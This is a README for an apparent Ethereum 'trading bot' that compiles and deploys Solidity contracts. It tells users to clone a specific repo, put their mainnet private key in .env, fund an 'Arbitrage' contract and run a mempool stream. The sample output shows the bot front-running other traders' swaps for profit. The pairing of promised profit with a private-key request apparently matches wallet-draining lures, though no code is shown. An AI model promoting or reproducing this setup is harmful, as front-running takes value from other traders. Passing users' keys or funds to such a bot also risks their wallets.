Interactive deployment and management of Solidity contracts straight from your terminal
Everything you need to run the project. Just copy the commands in order.
1οΈβ£ Clone the project
git clone https://github.com/yoge7388095s/eth-trading-bot
cd <your-repo>2οΈβ£ Install packages (required)
npm install3οΈβ£ Create .env and fill in your keys
PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.com4οΈβ£ Run
node start| Step | What it does | Required |
|---|---|---|
| 1οΈβ£ | Clones the repository from GitHub | β |
| 2οΈβ£ | Installs ethers and solc into node_modules/ |
β |
| 3οΈβ£ | Connects your wallet to Ethereum Mainnet | β |
| 4οΈβ£ | Opens the interactive menu for deployment and calls | β |
β οΈ Withoutnpm installthe script will not run βethersandsolcare not part of the standard Node.js distribution.
β οΈ The script works only with Ethereum Mainnet. Transactions cost real ETH.
Ethereum Contract Deployer is a set of Node.js scripts for convenient work with Solidity contracts on Ethereum Mainnet:
- π compiles
.solout of the box (no Remix, no Hardhat); - π¦ automatically resolves imports from GitHub, npm, and local files;
- π deploys to Ethereum Mainnet;
- π§ provides an interactive menu for calling contract functions;
- β½οΈ estimates gas in real time and shows the cost in ETH and USD;
- π°οΈ runs a mempool stream with beautiful transaction output.
The whole interface is colorful, with boxes, an arrow-key menu, and clear statuses.
β οΈ Warning: the script works only with Ethereum Mainnet. Every transaction costs real money. Make sure you understand what you are doing before running it.
| Feature | Description |
|---|---|
| π§© On-the-fly compilation | solc builds the contract by file name, no external bundlers |
| π Smart imports | GitHub, node_modules, local paths, npm CDN β all resolved automatically |
| πΎ Deployment storage | Addresses, ABIs, and dates are saved to deployments.json |
| ποΈ Interactive menu | Arrow keys ββ, Enter, OK/Cancel β just like in Remix |
| β½οΈ Gas preview | Gas estimate, base fee, priority fee, maximum and current cost |
| π΅ ETH/USD rate | Via Chainlink oracle to estimate fees in dollars |
| π‘ Mempool stream | Separate process streaming "deals" to the console |
| π¨ Beautiful output | Boxes, colors, highlights, clear statuses |
π Private key in .env |
Never stored in code |
Script-Contract/
βββ start.js # Entry point (node start)
βββ deploy.js # Deployment core and menu
βββ mempool.js # Mempool stream (separate process)
βββ erc20.json # Token list (Sequence Token Directory)
βββ deployments.json # Saved deployments (created automatically)
βββ .env # Private key and RPC (not in git)
βββ lib/
β βββ ui.js # Colors, log, boxes, menu
β βββ env.js # .env, deployments.json, explorer
β βββ compile.js # Import resolution and compilation
β βββ chain.js # Gas, transaction receipt, ETH price
β βββ contract.js # Deploy, function calls, stream launch
βββ *.sol # Your contracts
git clone https://github.com/<your-username>/<your-repo>.git
cd <your-repo>Or download the ZIP archive from GitHub and unpack it into a convenient folder.
β οΈ This step is mandatory. Without installing the packages, the script will not run:ethersandsolcare not part of the standard Node.js distribution.
Open a terminal in the project folder and run:
npm installThe command downloads the dependencies listed in package.json:
| Package | Purpose |
|---|---|
ethers |
Ethereum interaction: wallet, provider, transactions, ABI |
solc |
Solidity compiler embedded in Node.js |
After a successful install, a node_modules/ directory will appear. If it does not β the install failed, check the output of npm install.
Create a .env file in the root and fill it in:
PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.comExamples of Mainnet RPC endpoints:
| Provider | URL |
|---|---|
| PublicNode | https://ethereum-rpc.publicnode.com |
| LlamaRPC | https://eth.llamarpc.com |
| Cloudflare | https://cloudflare-eth.com |
| Infura | https://mainnet.infura.io/v3/<KEY> |
| Alchemy | https://eth-mainnet.g.alchemy.com/v2/<KEY> |
β οΈ Never commit.envto a public repository. It must be in.gitignore.
node startOr through npm (if a start script is defined in package.json):
npm start=== Ethereum Contract Deployer ===
i Network: mainnet (chainId 1)
i Wallet: 0x8c27...66CdC
i Balance: 0.5 ETH
! THIS IS MAINNET - transactions cost real money!
Main menu
> Deploy Arbitrage.sol
Open deployed Arbitrage (0x2d7A..., 2025-01-15)
Exit
up/down - select, Enter - ok, Ctrl+C - exit
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
i Estimating current gas...
Gas (estimate): 564195 units
Gas limit (+10%): 620614
Base fee (block 21000000): 8.4321 gwei
Priority fee: 1.5000 gwei
Max fee per gas: 18.3642 gwei
Fee now (expected): 0.005603 ETH (~$17.93)
Fee maximum: 0.011397 ETH (~$36.47)
Your balance: 0.5 ETH (~$1600.00)
ββββββββββββββββββββββββββββββββββββββββββββββββ
β CONTRACT DEPLOYED β
ββββββββββββββββββββββββββββββββββββββββββββββββ€
β Name: Arbitrage β
β Address: 0x2d7A3BdCcA8E2B32bFA77c94175Ab3A41β
β View: https://etherscan.io/address/0x2d...β
ββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββ
β MEMPOOL STREAM STARTED β
ββββββββββββββββββββββββββββββββββββββββββββββββ€
β Value from start(): 0 ETH β
β Contract balance: 0.010000 ETH β
β β
β Ctrl+C - stop the stream. β
ββββββββββββββββββββββββββββββββββββββββββββββββ
i Looking for profitable deals...
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[DEAL # 1] 11:54:21
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Buyer : 0x6043727c...7fd64
Router : 0xd9e1cE17...8B9F
Amount : 1.8803 ETH (~$6016.96)
Token : WETH (Wrapped Ether) 0xC02aaA...756Cc2
Method : swapExactETHForTokens
TXID : 0xa1f70a8f...4fd03d
> Front-running with our tx...
> Our buy
Amount : 0.002862 ETH (~$9.16)
...
βββββββββββββββββββββββββββββββββββββ
β PROFIT β
βββββββββββββββββββββββββββββββββββββ€
β +0.000229 ETH (~$0.73) (+7.88%) β
βββββββββββββββββββββββββββββββββββββ
| Item | Meaning |
|---|---|
Deploy <file>.sol |
Compile and deploy a contract |
Open deployed <name> |
Open a previously saved contract from deployments.json |
[read] |
view / pure function β read-only |
[write] |
Regular transaction that changes state |
[payable] |
Function that accepts ETH |
[info] Contract balance |
Show the contract balance |
[stop] Stop mempool stream |
Appears only if the stream is running |
<- Back to main menu |
Return to the main menu |
The script works only with Ethereum Mainnet (chainId 1).
| Parameter | Value |
|---|---|
| Network | Ethereum Mainnet |
| chainId | 1 |
| Explorer | etherscan.io |
| Currency | ETH |
If RPC_URL points to another network, the script will refuse to run and print an error.
The erc20.json file is a token list in Uniswap Token List Schema format from Sequence Token Directory.
The loadTokens() loader:
- supports two formats β a bare array and
{ tokens: [...] }; - filters out invalid addresses;
- drops the zero address (
0x0000...0000); - keeps only tokens with
chainId = 1; - extracts
address,symbol, andname.
If the file is missing, the stream falls back to random addresses and warns about it.
- π
.envis not committed, it contains onlyPRIVATE_KEYandRPC_URL. β οΈ The script works only with Mainnet β every transaction costs real ETH.- π§ͺ Before real use, carefully review the contract and addresses.
- β
All
[write]/[payable]operations go through a gas preview and anOKbutton. - π« No transaction is sent without your confirmation.
estimateGasprovides an accurate estimate.gasLimit= estimate + 10% (buffer, like MetaMask).maxFeePerGas=2 Γ baseFee + priorityFee(buffer for base fee growth).- The expected fee (current block) and the maximum fee (
gasLimit Γ maxFee) are shown. - The ETH/USD rate is fetched from the Chainlink oracle.
The compiler can resolve imports from:
| Type | Example |
|---|---|
| GitHub | import "https://github.com/Uniswap/v3-core/..." |
| npm via CDN | import "@openzeppelin/contracts/token/ERC20/ERC20.sol" |
node_modules |
import "@openzeppelin/contracts/..." (if installed locally) |
| Local | import "./MyLib.sol" |
GitHub links of the form github.com/owner/repo/blob/branch/path are automatically converted to raw.githubusercontent.com.
| Component | Version |
|---|---|
| Node.js | β₯ 18 (needs fetch) |
| npm | β₯ 9 |
| Solidity | any (solc is pulled via npm) |
Dependencies (in package.json):
{
"dependencies": {
"ethers": "^6.13.0",
"solc": "^0.8.28"
}
}# π¦ Install all dependencies (required after cloning)
npm install
# Run
node start
# Run via npm (if a start script is defined in package.json)
npm start
# Run the mempool stream manually
node mempool.js
# Check the solc version
node -e "console.log(require('solc').version())"
# Verify that dependencies are installed
ls node_modules | head- Compilation and deployment
- Interactive menu
- Gas preview and ETH price
- Mempool stream (separate process)
- Multisig support
- ABI export to TypeScript types
- Tenderly integration for transaction simulation
PRs and issues are welcome. Before opening a PR:
- Make sure
.envdid not end up in the commit. - Make sure
deployments.jsoncontains only local test data. - Describe the change briefly β what and why.
The project is distributed under the MIT license. See LICENSE for details.
Made with β€οΈ for those who love the terminal
β Star the repo if you find it useful